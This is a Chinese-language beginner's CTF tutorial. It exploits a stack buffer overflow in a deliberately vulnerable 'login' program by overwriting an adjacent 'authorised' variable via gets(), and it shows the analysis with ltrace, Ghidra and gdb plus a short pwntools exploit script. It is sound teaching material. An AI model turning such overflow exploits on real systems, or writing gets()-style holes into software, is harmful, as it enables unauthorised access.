PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本

简介

“pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的,PWN 也是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰”,对黑客而言,这就是成功实施黑客攻击的声音,而在ctf比赛里,pwn是对二进制漏洞的利用

获取文件信息

下载这个github库,进入01-overwriting_stack_variables_part1文件夹

https://github.com/Crypto-Cat/CTF/tree/main/pwn/binary_exploitation_101

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第1张图片

使用file命令查看文件的基本信息,可以看到这个文件和上一篇教程里的文件一样,32位,动态链接的……

在这里插入图片描述

然后使用checksec工具可以查看程序更详细的信息

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第2张图片

这也和上一个文件相似,从上到下依次是

32位程序
部分RELRO,基本上所有程序都默认的有这个
没有开启栈保护
未启用nx,nx:数据执行
没有pie,意思是程序的内存空间不会被随机化
有读,写,和执行的段,意思是我们可以在程序里写入shellcode

利用缓冲区溢出绕过登录

现在我们运行文件看看,他叫我们输入密码,我们随便输入一个试试

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第3张图片

密码错误,然后程序退出了

在这里插入图片描述

我们可以尝试用ltrace来跟踪进程调用库函数的情况

ltrace ./login

可以看到,这里调用了puts函数和gets函数,然后我们随便输入一个值试试

在这里插入图片描述

之后他就将我们输入的值和另一个值作了对比,由此可知,这个和我们输入的值做对比的字符就是密码,我们直接输入密码试试

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第4张图片

密码正确,这也是解题的一个办法

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第5张图片

现在我们要利用缓冲区溢出来绕过登录,我们运行程序,输入一大堆字符试试

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第6张图片

可以看到,程序报错了,授权号码也变得很大,之前我们输入正确的密码时,授权号码为1,现在我们要一个一个字符测试程序的缓冲区边界

在输入到第七个字符时,授权号码就发生了改变

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第7张图片

97,这是ascii码十进制的a字符

我们将第七个字符改成b试试

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第8张图片

可以看到,98就是是ascii码十进制的b字符

我们现在查看程序源代码看看

vim login.c

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第9张图片

#include 
#include 

int main(void)
{
    char password[6];   //定义了一个变量,名为passowrd,有6个字节的缓冲区
    int authorised = 0;   //定义了一个变量,名为authorised,为0

    printf("Enter admin password: \n");   //输出字符Enter admin password:
    gets(password);   //获取我们输入的字符,并存入到passowrd变量里

    if(strcmp(password, "pass") == 0)    //将我们输入的值和pass字符做对比,strcmp函数是比较两个字符串的大小,两个字符串相同时返回0,第一个字符串大于第二个字符串时返回一个正值,否则返回负值
    {
        printf("Correct Password!\n");   //输出字符Correct Password!
        authorised = 1;    //authorised为1
    }
    else   //错误的话
    {
        printf("Incorrect Password!\n");   //输出字符Incorrect Password!
    }

    if(authorised)   //如果authorised为1
    {
        printf("Successfully logged in as Admin (authorised=%d) :)\n", authorised);  输出字符"Successfully logged in as Admin,%d是authorised变量的ascii码
    }else{   //不为1的话
		printf("Failed to log in as Admin (authorised=%d) :(\n", authorised);   //输出字符
	}

    return 0;
}

静态分析

在没有程序源代码时,就只能用工具查看伪代码和汇编语言来分析程序,现在我们用ghidra打开程序,关于ghidra的安装和使用教程,第一篇文章都讲了,这里就不重复了

导入文件

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第10张图片

双击打开

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第11张图片

在函数列表里找到主函数main,然后单击

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第12张图片

可以看到,ghidra生成的伪代码和我们源代码差不多,这里就不解释了

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第13张图片

动态调试

用gdb打开程序分析

gdb login

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第14张图片

然后查看程序里调用的函数

info functions

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第15张图片

然后查看main函数的汇编代码

disassemble main

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第16张图片

在这里有一个对比指令,将一个变量和0做对比,这就是程序if判断的地方

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第17张图片

我们可以在这个对比指令的地址下一个断点,查看程序对比的流程

b *0x0804921e
run

运行程序后我们随意输入一些字符,程序运行到我们下断点的地方就会停下来

在这里插入图片描述

这里将ebp寄存器里的值减去了0xc转换成10进制就是12和0做了对比,我们可以看一下这个地址的值

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第18张图片

x $ebp - 0xc

都为0,0和0对比是对的,之后就会执行跳转操作,跳到密码错误的地方

在这里插入图片描述

我们可以修改这里的值,使程序不进行跳转操作

set *0xffffd39c = 1

成功修改了这个地址的值

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第19张图片

然后一直输入n,next的简写,可以看到,我们没有执行跳转操作,即使输入了错误的密码,也能成功登录

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第20张图片

输入r重新运行程序,然后输入7个A字符

在这里插入图片描述

查看对比的值

x $ebp - 0xc

可以看到这里变成了0x41,转换成十进制为大写的A

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第21张图片

现在我们写一个脚本

z = "AAAAAA"
print(z + "\x01")

然后保存,用python3运行他

python3 exp.py | ./login

可以看到,现在值已经变成1了

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第22张图片

第一个PwnTools脚本

from pwn import *   //导入pwntools模块

io = process('./login')   //运行程序

io.sendlineafter(b':', b'AAAAAA'+b"\x01")   //在程序输出":"后发送指定字符

print(io.recvall().decode())   //接收输出并且解码

然后运行这个脚本

python3 exploit.py

可以看到成功破解了

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_第23张图片

总结

有什么不会或者是错误的地方的可以私信我,看到必回

你可能感兴趣的:(pwn,linux,安全,网络安全,pwn)